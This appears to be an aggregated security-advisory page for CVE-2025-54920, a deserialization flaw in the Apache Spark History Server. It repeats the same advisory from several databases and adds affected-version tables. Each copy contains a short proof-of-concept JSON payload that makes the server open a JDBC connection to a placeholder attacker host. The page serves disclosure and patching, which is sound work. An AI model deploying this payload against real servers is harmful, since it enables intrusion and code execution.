CVE-2025-54920
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
CVE-2025-54920- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-208669
8.8
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
EUVD-2025-208669- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jwp6-cvj8-fw65
8.8
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
GHSA-jwp6-cvj8-fw65- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.8
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
CVE-2025-54920- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.8
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
CVE-2025-54920- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-jwp6-cvj8-fw65
8.8
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
GHSA-jwp6-cvj8-fw65- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVBIT-spark-2025-54920 No score
Apache Spark: Spark History Server Code Execution Vulnerability
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Record
BIT-spark-2025-54920- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.apache.spark:spark-core_2.13Maven |
4.0.0 up to 4.0.1 | 4.0.1 |
org.apache.spark:spark-core_2.13Maven |
before 3.5.7 | 3.5.7 |
org.apache.spark:spark-core_2.12Maven |
before 3.5.7 | 3.5.7 |
org.apache.spark:spark-core_2.11Maven |
through 2.4.8 | None known |
org.apache.spark:spark-core_2.10Maven |
through 2.2.3 | None known |
org.apache.spark:spark-core_2.9.3Maven |
through 0.8.1-incubating | None known |
sparkBitnami |
before 3.5.7, 4.0.0 up to 4.0.1 | 3.5.74.0.1 |
org.apache.spark:spark-core_2.13Maven |
4.0.0 up to 4.0.1, plus listed versions 4.0.0-preview14.0.0-preview2 |
4.0.1 |
org.apache.spark:spark-core_2.13Maven |
before 3.5.7, plus listed versions 3.2.03.2.13.2.23.2.33.2.4 Show 17 moreShow less3.3.03.3.13.3.23.3.33.3.43.4.03.4.13.4.23.4.33.4.43.5.03.5.13.5.23.5.33.5.43.5.53.5.6 |
3.5.7 |
org.apache.spark:spark-core_2.12Maven |
before 3.5.7, plus listed versions 2.4.02.4.12.4.22.4.32.4.4 Show 36 moreShow less2.4.52.4.62.4.72.4.83.0.03.0.0-preview3.0.0-preview23.0.13.0.23.0.33.1.03.1.13.1.23.1.33.2.03.2.13.2.23.2.33.2.43.3.03.3.13.3.23.3.33.3.43.4.03.4.13.4.23.4.33.4.43.5.03.5.13.5.23.5.33.5.43.5.53.5.6 |
3.5.7 |
org.apache.spark:spark-core_2.11Maven |
through 2.4.8, plus listed versions 1.2.01.2.11.2.21.3.01.3.1 Show 34 moreShow less1.4.01.4.11.5.01.5.11.5.21.6.01.6.11.6.21.6.32.0.02.0.0-preview2.0.12.0.22.1.02.1.12.1.22.1.32.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.4.52.4.62.4.7 |
None known |
org.apache.spark:spark-core_2.10Maven |
through 2.2.3, plus listed versions 0.9.0-incubating0.9.10.9.21.0.01.0.1 Show 28 moreShow less1.0.21.1.01.1.11.2.01.2.11.2.21.3.01.3.11.4.01.4.11.5.01.5.11.5.21.6.01.6.11.6.21.6.32.0.02.0.0-preview2.0.12.0.22.1.02.1.12.1.22.1.32.2.02.2.12.2.2 |
None known |
org.apache.spark:spark-core_2.9.3Maven |
through 0.8.1-incubating, plus listed versions 0.8.0-incubating |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-54920 is a high vulnerability (CVSS 8.8) in Apache Spark, published March 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 5.42%, the 92nd percentile. Fixed in org.apache.spark:spark-core_2.13 4.0.1.